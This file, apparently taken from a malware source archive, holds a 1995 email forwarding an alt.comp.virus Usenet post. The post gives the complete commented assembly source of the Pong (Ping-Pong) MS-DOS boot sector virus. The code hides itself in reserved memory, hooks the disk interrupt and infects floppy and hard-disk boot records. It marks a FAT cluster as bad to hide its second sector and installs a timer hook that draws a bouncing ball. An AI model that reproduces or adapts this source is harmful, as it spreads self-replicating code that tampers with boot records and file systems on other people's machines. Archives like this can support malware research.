MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.pong.asm
2021-01-12 17:55:26 -06:00

657 lines
22 KiB
NASM

From smtp Tue Feb 7 13:15 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:15 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA16239 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:17:17 -0500
Date: Tue, 7 Feb 1995 13:17:17 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 22178
Content-Type: text
Message-Id: <199502071817.NAA16239@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) Pong
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!solaris.cc.vt.edu!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: Pong
Date: 5 Feb 1995 21:56:02 GMT
Organization: International Internet Association.
Lines: 624
Message-ID: <3h3hhi$sb@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the Pong virus:
; ORIGININ ADDRESS -7C00H
RAM SEGMENT AT 0
; SYSTEM DATA
ORG 20H
INT8OF DW ? ; INTERRUPT 8 OFFSET
INT8SG DW ? ; INTERRUPT 8 SEGMENT
ORG 4CH
INT19O DW ? ; INTERRUPT 19 OFFSET
INT19S DW ? ; INTERRUPT 19 SEGMENT
ORG 413H
RAMSIZ DW ? ; TOTAL RAM SIZE
; BPB OF VIRUS BOOT RECORD
ORG 7C0BH
BYPSEC DW ? ; BYTES PER SECTOR
NUMSEC DB ? ; SECTORS PER ALLOCATION UNIT
SECRES DW ? ; RESERVED SECTORS
FATNUM DB ? ; NUMBER OF FATS
DIRNUM DW ? ; NUMBER OF ROOT DIR ENTRIES
SECNUM DW ? ; NUMBER OF SECTORS
MEDIAD DB ? ; MEDIA DESCRIPTOR
SECFAT DW ? ; NUMBER OF SECTORS PER FAT
SECTRK DW ? ; SECTORS PER TRACK
HEDNUM DW ? ; NUMBER OF HEADS
HIDSEC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
; INTERRUPT 19 (13H) BRANCH ADDRESS
ORG 7D2AH
ORIG19 DW ? ; ORIGINAL INT 19 OFFSET
ORG19S DW ? ; ORIGINAL INT 19 SEGMENT
; INSTALLATION DATA AREA
ORG 7DF3H
CURFAT DW ? ; CURRENT FAT SECTOR
CURCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCH DB ? ; SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LSTDRV DB ? ; DRIVE LAST USED
REMAIN DW ? ; SECTOR NUMBER OF REST OF CODE
RESERV DB ? ; RESERVED SPACE FOR FUTURE HACKING
FLAG01 DW ? ; FLAG FIELD
; DATA AREA
ORG 7EB0H
LASTTM DW ? ; SYSTEM TIME LAST CALLED
PRCFAT DB ? ; PROCESSED FAT / 256
; INTERRUPT 8 BRANCH ADDRESS
ORG 7FC9H
ORG08O DW ? ; ORIGINAL INT 8 OFFSET
ORG08S DW ? ; ORIGINAL INT 8 SEGMENT
; DISPLAY DATA AREA
ORG 7FCDH
CHARAT DW ? ; CHARACTER AND ATTRIBUTES
ROWCOL DW ? ; ROW AND COLUMN POSITIONS
ROWCLM DW ? ; ROW AND COLUMN MOVEMENT
GRAPHM DB ? ; GRAPHICS MODE SWITCH
MODEAP DW ? ; MODE AND ACTIVE PAGE
COLUMN DB ? ; VISIBLE COLUMNS - 1
; BPB OF ORIGINAL BOOT RECORD
ORG 800BH
BIPSEC DW ? ; BYTES PER SECTOR
ALCSEC DB ? ; SECTORS PER ALLOCATION UNIT
VERVED DW ? ; RESERVED SECTORS
RUMNUM DB ? ; NUMBER OF FATS
ROTRID DW ? ; NUMBER OF ROOT DIR ENTRIES
NUOSEC DW ? ; NUMBER OF SECTORS
MIASET DB ? ; MEDIA DESCRIPTOR
FASNUM DW ? ; NUMBER OF SECTORS PER FAT
TRASSC DW ? ; SECTORS PER TRACK
NUOHED DW ? ; NUMBER OF HEADS
HIDESC DW ? ; NUMBER OF HIDDEN SECTORS (LOW ORDER)
ORG 81F5H
FSTCLS DW ? ; SECTOR NUMBER OF FIRST CLUSTER
SWITCB DB ? ; SWITCHES - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
LASTUS DB ? ; DRIVE LAST USED
REMAI2 DW ? ; SECTOR NUMBER OF REST OF CODE
LATER2 DB ? ; TYPE SWITCH
LATER3 DW 2 DUP (?) ; INSTALLED.. HMMM?
RAM ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:RAM
START:
JMP HIDE_ME_PLEASE ; BRANCH ROUND BPB TABLE
DB 'MSDOS3.2' ; OEM AND VERSION
DW 512 ; BYPSEC - BYTES PER SECTOR
DB 2 ; NUMSEC - SECTORS PER ALLOCATION UNIT
DW 1 ; SECRES - RESERVED SECTORS
DB 2 ; FATNUM - NUMBER OF FATS
DW 112 ; DIRNUM - NUMBER OF ROOT DIR ENTRIES
DW 720 ; SECNUM - NUMBER OF SECTORS
DB 0FDH ; MEDIAD - MEDIA DESCRIPTOR
DW 2 ; SECFAT - NUMBER OF SECTORS PER FAT
DW 9 ; SECTRK - SECTORS PER TRACK
DW 2 ; HEDNUM - NUMBER OF HEADS
DW 0 ; HIDSEC - NUMBER OF HIDDEN SECTORS (LOW ORDER)
; START OF PROCESSING
; HIDE 2K OF RAM FROM SYSTEM AND MOVE INTO THIS HIDDEN AREA
HIDE_ME_PLEASE:
XOR AX,AX
MOV SS,AX ; STACK SEGMENT ZERO
MOV SP,7C00H ; SET STACK POINTER TO START OF BUFFER
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,RAMSIZ ; GET TOTAL RAM SIZE
SUB AX,2 ; SUBTRACT 2K
MOV RAMSIZ,AX ; REPLACE AMENDED RAM SIZE
MOV CL,6 ; NUMBER OF POSITIONS TO SHIFT
SHL AX,CL ; MULTIPLY RAM SIZE BY 64 (SEGMENT ADDRESS)
SUB AX,7C0H ; SUBTRACT BUFFER OFFSET
MOV ES,AX ; SET TARGET SEGMENT ADDRESS
MOV SI,7C00H ; LOAD BUFFER TARGET OFFSET
MOV DI,SI ; COPY OFFSET FOR SOURCE
MOV CX,0100H ; NUMBER OF WORDS TO MOVE
REPZ MOVSW ; DUPLICATE BOOT SECTOR IN HIGH STORAGE
; MOV CS,AX ; LOAD SEGMENT OF NEW LOCATION
; THIS IS THE ILLEGAL OPCODE!
DB 08EH, 0C8H ; PREVIOUS COMMAND HARD CODED
; FROM THIS POINT ON WILL BE RUNNING IN HIGH STORAGE
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
CALL SET_IT_UP
SET_IT_UP:
XOR AH,AH ; INITIALISE DISK SUB-SYSTEM
INT 13H ; DISK INTERRUPT
AND LSTDRV,80H ; SET ADDRESS FOR HARD DISK
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK ONE SECTOR
MOV ES,AX ; SET BUFFER SEGMENT FOR REST OF CODE
CALL READ_IT_IN ; READ REST OF CODE
MOV BX,REMAIN ; GET SECTOR OF REST OF CODE
INC BX ; ADDRESS TO BOOT SECTOR STORE
MOV AX,0FFC0H ; WRAP-AROUND ADDRESS (= -400H)
MOV ES,AX ; SET BUFFER SEGMENT FOR BOOT SECTOR
CALL READ_IT_IN ; READ REAL BOOT SECTOR
XOR AX,AX
MOV SWITCH,AL ; SET OFF ALL SWITCHES
MOV DS,AX ; DATA SEGMENT ZERO
MOV AX,INT19O ; SAVE INT 19 OFFSET
MOV BX,INT19S ; SAVE INT 19 SEGMENT
MOV INT19O,OFFSET INT_19+7C00H ; NEW INT 19 OFFSET
MOV INT19S,CS ; NEW INT 19 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORIG19,AX ; STORE OLD INT 19 OFFSET
MOV ORG19S,BX ; STORE OLD INT 19 SEGMENT
MOV DL,LSTDRV ; GET DRIVE NUMBER
DB 0EAH ; FAR JUMP TO BOOT SECTOR
DW 7C00H, 0
WRITE_IT_OUT:
MOV AX,301H ; WRITE ONE SECTOR
JMP SHORT GET_SECTOR
READ_IT_IN:
MOV AX,201H ; READ ONE SECTOR
GET_SECTOR:
XCHG BX,AX ; MOVE SECTOR NUMBER TO AX
ADD AX,HIDSEC ; ADD HIDDEN SECTORS
XOR DX,DX ; CLEAR FOR DIVISION
DIV SECTRK ; DIVIDE BY SECTORS PER TRACK
INC DL ; ADD ONE TO ODD SECTORS
MOV CH,DL ; SAVE SECTOR NUMBER
XOR DX,DX ; CLEAR FOR DIVISION
DIV HEDNUM ; DIVIDE BY NUMBER OF HEADS
MOV CL,6 ; POSITIONS TO MOVE
SHL AH,CL ; MOVE TOP TWO BITS OF TRACK
OR AH,CH ; MOVE IN SECTOR NUMBER
MOV CX,AX ; MOVE TO CORRECT REGISTER
XCHG CH,CL ; ..AND CORRECT POSITION IN REG
MOV DH,DL ; MOVE HEAD NUMBER
MOV AX,BX ; RECOVER CONTENTS OF AX
BRING_IN:
MOV DL,LSTDRV ; GET DRIVE NUMBER
MOV BX,8000H ; SET BUFFER ADDRESS
INT 13H ; DISK INTERRUPT
JNB GO_BACK ; BRANCH IF NO ERRORS
POP AX
GO_BACK:
RET
; INTERRUPT 19 (13H) (DISK) ROUTINE
INT_19:
PUSH DS
PUSH ES
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
PUSH CS ; \ SET ES EQUAL TO CS
POP ES ; /
TEST SWITCH,1 ; TEST NESTED INTERRUPT SWITCH
JNZ PASS_OUT ; EXIT IF ON
CMP AH,2 ; TEST FOR READ SECTOR
JNZ PASS_OUT ; EXIT IF NOT
CMP LSTDRV,DL ; COMPARE DRIVE NUMBER
MOV LSTDRV,DL ; SAVE DRIVE NUMBER
JNZ INT_SWITCH ; BRANCH IF DIFFERENT THIS TIME
; THIS IS THE ACTIVATION CODE. IT HAS A 'WINDOW' OF JUST LESS
; THAN A SECOND, APPROXIMATELY EVERY HALF HOUR, DURING WHICH
; TIME A DISK-READ WILL SWITCH IT ON.
XOR AH,AH ; GET SYSTEM CLOCK
INT 1AH ; SYSTEM CLOCK INTERRUPT
TEST DH,7FH ; TEST LOW WORD HIGH BYTE
JNZ DO_TIME
TEST DL,0F0H ; TEST LOW WORD LOW BYTE
JNZ DO_TIME
PUSH DX ; SAVE SYSTEM TIME
CALL INTERRUPT_08 ; INSTALL SYSTEM CLOCK ROUTINE
POP DX ; RECOVER SYSTEM TIME
DO_TIME:
MOV CX,DX ; COPY SYSTEM TIME
SUB DX,LASTTM ; INTERVAL SINCE LAST CALL
MOV LASTTM,CX ; SAVE SYSTEM TIME
SUB DX,24H ; SUBTRACT 2 SECONDS
JB PASS_OUT ; RETURN IF LESS THAN TWO SECONDS
INT_SWITCH:
OR SWITCH,1 ; SET ON NESTED INTERRUPT SWITCH
PUSH SI
PUSH DI
CALL DISK_INSTALL ; INSTALL ON DISK
POP DI
POP SI
AND SWITCH,0FEH ; SET OFF NESTED INTERRUPT SWITCH
PASS_OUT:
POP DX
POP CX
POP BX
POP AX
POP ES
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 19
DW 01FBH ; ORIG19 - ORIGINAL INT 19 OFFSET
DW 0C800H ; ORG19S - ORIGINAL INT 19 SEGMENT
; DISK INSTALLATION
DISK_INSTALL:
MOV AX,201H ; READ ONE SECTOR
MOV DH,0 ; HEAD NUMBER 0
MOV CX,1 ; TRACK 0, SECTOR 1
CALL BRING_IN ; READ FIRST SECTOR FROM DISK
TEST LSTDRV,80H ; TEST FOR HARD DRIVE
JZ FAT_CHECK ; BRANCH IF NOT
; HARD DISK - PARTITION TABLE
MOV SI,81BEH ; ADDRESS TO PARTITION TABLE
MOV CX,4 ; NUMBER OF ENTRIES IN TABLE
NEXT_PART_ENTRY:
CMP BYTE PTR [SI+4],1 ; TEST FOR DOS 12-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
CMP BYTE PTR [SI+4],4 ; TEST FOR DOS 16-BIT FAT
JZ SNARF_UP_THE_BOOT ; BRANCH IF YES
ADD SI,10H ; ADDRESS TO NEXT ENTRY
LOOP NEXT_PART_ENTRY ; LOOP THROUGH TABLE
RET
; HARD DISK - GET BOOT RECORD
SNARF_UP_THE_BOOT:
MOV DX,[SI] ; GET HEAD NUMBER OF BOOT
MOV CX,[SI+2] ; GET TRACK AND SECTOR OF BOOT
MOV AX,201H ; READ ONE SECTOR
CALL BRING_IN ; GET BOOT SECTOR FOR PARTITION
; BOOT SECTOR PROCESSING
FAT_CHECK:
MOV SI,8002H ; ADDRESS TO BPB SOURCE
MOV DI,7C02H ; ADDRESS TO BPB TARGET
MOV CX,1CH ; LENGTH OF BPB
REPZ MOVSB ; COPY BPB
CMP LATER3,1357H ; IS VIRUS INSTALLED ALREADY
JNZ WHERE_BE_THE_FAT ; BRANCH IF NOT
CMP LATER2,0
JNB HEAD_EM_OUT
MOV AX,FSTCLS ; GET SECTOR NO OF FIRST CLUSTER
MOV CURCLS,AX ; SAVE IT
MOV SI,REMAI2
JMP PLACE_VIRUS
HEAD_EM_OUT: RET
; CALCULATE LOCATION OF FAT AND FIRST CLUSTER
WHERE_BE_THE_FAT:
CMP BIPSEC,200H ; SECTOR SIZE 512
JNZ HEAD_EM_OUT ; EXIT IF DIFFERENT SIZE
CMP ALCSEC,2 ; SECTORS PER CLUSTER
JB HEAD_EM_OUT ; EXIT IF LESS THAN 2
MOV CX,VERVED ; GET RESERVED SECTORS
MOV AL,RUMNUM ; NUMBER OF FATS
CBW ; FILL OUT REGISTER
MUL FASNUM ; SECTORS PER FAT
ADD CX,AX ; SECTOR OF ROOT DIR
MOV AX,20H ; LENGTH OF DIR ENTRY
MUL ROTRID ; NUMBER OF DIR ENTRIES
ADD AX,1FFH ; ROUND UP TO WHOLE SECTORS
MOV BX,200H ; LENGTH OF SECTOR
DIV BX ; SECTORS OF ROOT DIR
ADD CX,AX ; SECTOR OF FIRST CLUSTER
MOV CURCLS,CX ; SAVE THIS
MOV AX,SECNUM ; GET NUMBER OF SECTORS
SUB AX,CURCLS ; SUBTRACT NON-DATA SECTORS
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR DX,DX
XOR BH,BH ; CLEAR TOP OF REGISTER
DIV BX ; CALCULATE NUMBER OF CLUSTERS
INC AX ; ALLOW FOR NUMBER ONE NOT USED
MOV DI,AX
AND SWITCH,0FBH ; SET OFF 16-BIT FAT SWITCH
CMP AX,0FF0H ; SEE IF 12-BIT FAT
JBE WRITE_FAT ; BRANCH IF YES
OR SWITCH,4 ; SET ON 16-BIT FAT SWITCH
WRITE_FAT:
MOV SI,1 ; INITIALISE FAT ENTRY COUNT
MOV BX,SECRES ; GET RESERVED SECTORS
DEC BX ; ALLOW FOR ADDITION
MOV CURFAT,BX ; SAVE CURRENT FAT SECTOR
MOV PRCFAT,0FEH ; SET PROCESSED FAT LENGTH TO -2
JMP SHORT READ_FAT
; DATA AREA
DW 2 ; CURFAT - CURRENT FAT SECTOR
DW 12 ; CURCLS - SECTOR NUMBER OF FIRST CLUSTER
DB 1 ; SWITCH - SWITCHES
; - 01H - NESTED INTERRUPT
; - 02H - TIMER INTERRUPT INSTALLED
; - 04H - 16-BIT FAT
DB 0 ; LSTDRV - DRIVE LAST USED
DW 02B8H ; REMAIN - SECTOR NUMBER OF REST OF CODE
DB 0 ; RESERV - RESERVED SPACE.. FOR FUTURE HACKING
DW 1357H, 0AA55H ; FLAG01 - FLAG FIELD.
; END OF FIRST SECTOR, START OF SECOND
; SEARCH FAT FOR UNUSED CLUSTER
READ_FAT:
INC CURFAT ; ADDRESS TO NEXT FAT SECTOR
MOV BX,CURFAT ; GET NEXT SECTOR NUMBER
ADD PRCFAT,2 ; ADD TO PROCESSED FAT LENGTH
CALL READ_IT_IN ; READ FAT SECTOR
JMP SHORT GET_EM_NEXT
FAT_SWITCH:
MOV AX,3 ; LENGTH OF TWO FAT ENTRIES
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JZ FAT_ENTRY ; BRANCH IF OFF
INC AX ; FOUR BYTES NOT THREE
FAT_ENTRY:
MUL SI ; MULTIPLY BY FAT ENTRY NUMBER
SHR AX,1 ; DIVIDE BY TWO
SUB AH,PRCFAT ; SUBTRACT PROCESSED FAT LENGTH
MOV BX,AX ; COPY DISPLACEMENT
CMP BX,1FFH ; SEE IF IN THIS SECTOR
JNB READ_FAT ; BRANCH IF NOT
MOV DX,[BX+8000H] ; GET ENTRY
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ F_TEST_1 ; BRANCH IF ON
MOV CL,4 ; POSITIONS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FAT_TOP ; BRANCH IF NOT
SHR DX,CL ; SHIFT EVEN ENTRY INTO POSITION
FAT_TOP:
AND DH,0FH ; SWITCH OFF TOP BITS
F_TEST_1:
TEST DX,0FFFFH ; TEST ALL BITS
JZ MAKE_BAD ; BRANCH IF NONE ON
GET_EM_NEXT:
INC SI ; NEXT FAT ENTRY
CMP SI,DI ; HAS LAST ENTRY BEEN PROCESSED
JBE FAT_SWITCH ; BRANCH IF NOT
RET
; SPARE CLUSTER FOUND - INSTALL ON DISK
MAKE_BAD:
MOV DX,0FFF7H ; LOAD BAD SECTOR MARKER
TEST SWITCH,4 ; TEST 16-BIT FAT SWITCH
JNZ FIND_SECTOR ; BRANCH IF ON
AND DH,0FH ; CONVERT MARKER TO FF7H
MOV CL,4 ; BITS TO MOVE
TEST SI,1 ; TEST FOR ODD-NUMBERED ENTRY
JZ FIND_SECTOR ; BRANCH IF NOT
SHL DX,CL ; MOVE INTO POSITION
FIND_SECTOR:
OR [BX+8000H],DX ; PUT MARKER INTO FAT
MOV BX,CURFAT ; GET SECTOR NUMBER
CALL WRITE_IT_OUT ; WRITE FAT SECTOR
MOV AX,SI ; GET ENTRY NUMBER
SUB AX,2 ; SUBTRACT FIRST CLUSTER NUMBER
MOV BL,NUMSEC ; GET SECTORS PER CLUSTER
XOR BH,BH ; CLEAR TOP OF REGISTER
MUL BX ; CONVERT TO SECTORS
ADD AX,CURCLS ; ADD SECTOR NUMBER OF 1ST CLUSTER
MOV SI,AX ; SAVE REAL SECTOR NUMBER
MOV BX,0 ; SECTOR ZERO
CALL READ_IT_IN ; READ BOOT SECTOR
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
INC BX ; ADDRESS TO NEXT SECTOR
CALL WRITE_IT_OUT ; WRITE BOOT SECTOR TO STORE
PLACE_VIRUS:
MOV BX,SI ; GET OUTPUT SECTOR NUMBER
MOV REMAIN,SI ; SAVE SECTOR NO OF REST OF CODE
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,20H ; ADDRESS BACK TO VIRUS (2)
MOV ES,AX ; SET BUFFER ADDRESS
CALL WRITE_IT_OUT ; WRITE VIRUS (2)
PUSH CS ; \ GET CURRENT SEGMENT
POP AX ; /
SUB AX,40H ; ADDRESS BACK TO VIRUS (1)
MOV ES,AX ; SET BUFFER ADDRESS
MOV BX,0 ; SECTOR ZERO
CALL WRITE_IT_OUT ; WRITE VIRUS (1)
RET
DW 20CH ; LASTTM - SYSTEM TIME LAST CALLED
DB 2 ; PRCFAT - PROCESSED FAT / 256
; INSTALL INTERRUPT 8 (SYSTEM CLOCK) ROUTINE IF NOT DONE
INTERRUPT_08:
TEST SWITCH,2 ; TEST INT 8 INSTALLED SWITCH
JNZ FINISH_TIME ; BRANCH IF ON
OR SWITCH,2 ; SET ON INT 8 INSTALLED SWITCH
MOV AX,0 ; \ SEGMENT ZERO
MOV DS,AX ; /
MOV AX,INT8OF ; SAVE INT 8 OFFSET
MOV BX,INT8SG ; SAVE INT 8 SEGMENT
MOV INT8OF,OFFSET DO_VIDEO+7C00H ; NEW INT 8 OFFSET
MOV INT8SG,CS ; NEW INT 8 SEGMENT
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV ORG08O,AX ; STORE OLD INT 8 OFFSET
MOV ORG08S,BX ; STORE OLD INT 8 SEGMENT
FINISH_TIME:
RET
; INTERRUPT 10
DO_VIDEO:
PUSH DS
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH CS ; \ SET DS EQUAL TO CS
POP DS ; /
MOV AH,0FH ; GET VDU PARAMETERS
INT 10H ; VDU INTERRUPT
MOV BL,AL ; VDU MODE
CMP BX,MODEAP ; TEST MODE AND ACTIVE PAGE
JZ CHARACTER_ATTRIB ; BRANCH IF UNCHANGED
MOV MODEAP,BX ; SAVE MODE AND ACTIVE PAGE
DEC AH ; VISIBLE COLUMNS
MOV COLUMN,AH ; SAVE VISIBLE COLUMNS - 1
MOV AH,1 ; GRAPHICS MODE SWITCH ON
CMP BL,7 ; TEST FOR TELETYPE MODE
JNZ IS_IT_GRAPHICS ; BRANCH IF NOT
DEC AH ; GRAPHICS MODE SWITCH OFF
IS_IT_GRAPHICS:
CMP BL,4 ; TEST FOR GRAPHICS MODE
JNB ROW_AND_COLUMN ; BRANCH IF GRAPHICS OR TELETYPE
DEC AH ; GRAPHICS MODE SWITCH OFF
ROW_AND_COLUMN:
MOV GRAPHM,AH ; STORE GRAPHICS MODE SWITCH
MOV ROWCOL,101H ; SET ROW AND COLUMN POSITIONS
MOV ROWCLM,101H ; SET ROW AND COLUMN MOVEMENT
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX ; SAVE CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
JMP SHORT VIDEO_01
CHARACTER_ATTRIB:
MOV AH,3 ; GET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
PUSH DX
MOV AH,2 ; SET CURSOR ADDRESS
MOV DX,ROWCOL ; GET ROW AND COLUMN POSITIONS
INT 10H ; VDU INTERRUPT
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ WRITE_CHAR ; BRANCH IF NOT
MOV AX,8307H ; CHARACTER AND WRITE MODE
WRITE_CHAR:
MOV BL,AH ; MOVE ATTRIBUTE OR WRITE MODE
MOV CX,1 ; ONLY ONCE
MOV AH,9 ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
VIDEO_01:
MOV CX,ROWCLM ; GET ROW AND COLUMN MOVEMENT
CMP DH,0 ; IS ROW ZERO
JNZ VIDEO_02 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_02:
CMP DH,18H ; IS ROW 24
JNZ VIDEO_04 ; BRANCH IF NOT
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_04:
CMP DL,0 ; IS COLUMN 0
JNZ VIDEO_05 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_05:
CMP DL,COLUMN ; IS COLUMN LAST VISIBLE COLUMN
JNZ VIDEO_07 ; BRANCH IF NOT
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_07:
CMP CX,ROWCLM ; COMPARE ROW AND COLUMN MOVEMENT
JNZ VIDEO_09 ; BRANCH IF CHANGED
MOV AX,CHARAT ; GET CHARACTER AND ATTRIBUTES
AND AL,7 ; SWITCH OFF TOP BIT OF CHARACTER
CMP AL,3 ; TEST BITS 1 AND 2
JNZ VIDEO_08 ; BRANCH IF OFF
XOR CH,0FFH ; \ REVERSE ROW MOVEMENT
INC CH ; /
VIDEO_08:
CMP AL,5 ; TEST BITS 1 AND 3
JNZ VIDEO_09 ; BRANCH IF OFF
XOR CL,0FFH ; \ REVERSE COLUMN MOVEMENT
INC CL ; /
VIDEO_09:
ADD DL,CL ; NEW COLUMN POSITION
ADD DH,CH ; NEW ROW POSITION
MOV ROWCLM,CX ; SAVE ROW AND COLUMN POSITIONS
MOV ROWCOL,DX ; SAVE ROW AND COLUMN POSITIONS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
MOV AH,8 ; READ CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
MOV CHARAT,AX ; SAVE CHARACTER AND ATTRIBUTES
MOV BL,AH ; MOVE ATTRIBUTES
CMP GRAPHM,1 ; TEST FOR GRAPHICS MODE
JNZ VIDEO_10 ; BRANCH IF NOT
MOV BL,83H ; WRITE MODE FOR GRAPHICS
VIDEO_10:
MOV CX,1 ; ONCE ONLY
MOV AX,907H ; WRITE CHARACTER AND ATTRIBUTES
INT 10H ; VDU INTERRUPT
POP DX ; RESTORE CURSOR ADDRESS
MOV AH,2 ; SET CURSOR ADDRESS
INT 10H ; VDU INTERRUPT
POP DX
POP CX
POP BX
POP AX
POP DS
DB 0EAH ; FAR JUMP TO ORIGINAL INT 8
DW 0907H ; ORG08O - ORIGINAL INT 8 OFFSET
DW 10BDH ; ORG08S - ORIGINAL INT 8 SEGMENT
DW 0720H ; CHARAT - CHARACTER AND ATTRIBUTES
DW 1533H ; ROWCOL - ROW AND COLUMN POSITIONS
DW 01FFH ; ROWCLM - ROW AND COLUMN MOVEMENT
DB 0 ; GRAPHM - GRAPHICS MODE SWITCH
DW 3 ; MODEAP - MODE AND ACTIVE PAGE
DB 4FH ; DW7FD6 - VISIBLE COLUMNS - 1
DB 0B7H, 0B7H, 0B7H, 0B6H, 040H, 040H, 088H, 0DEH, 0E6H
DB 05AH, 0ACH, 0D2H, 0E4H, 0EAH, 0E6H, 040H, 050H
DB 0ECH, 040H, 064H, 05CH, 060H, 052H, 040H, 040H
DB 040H, 040H, 064H, 062H, 05EH, 062H, 060H, 05EH
DB 070H, 06EH, 040H, 041H, 0B7H, 0B7H, 0B7H, 0B6H
; END OF SECOND SECTOR, ORIGINAL BOOT SECTOR BEGINS HERE
CODE ENDS
END START
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"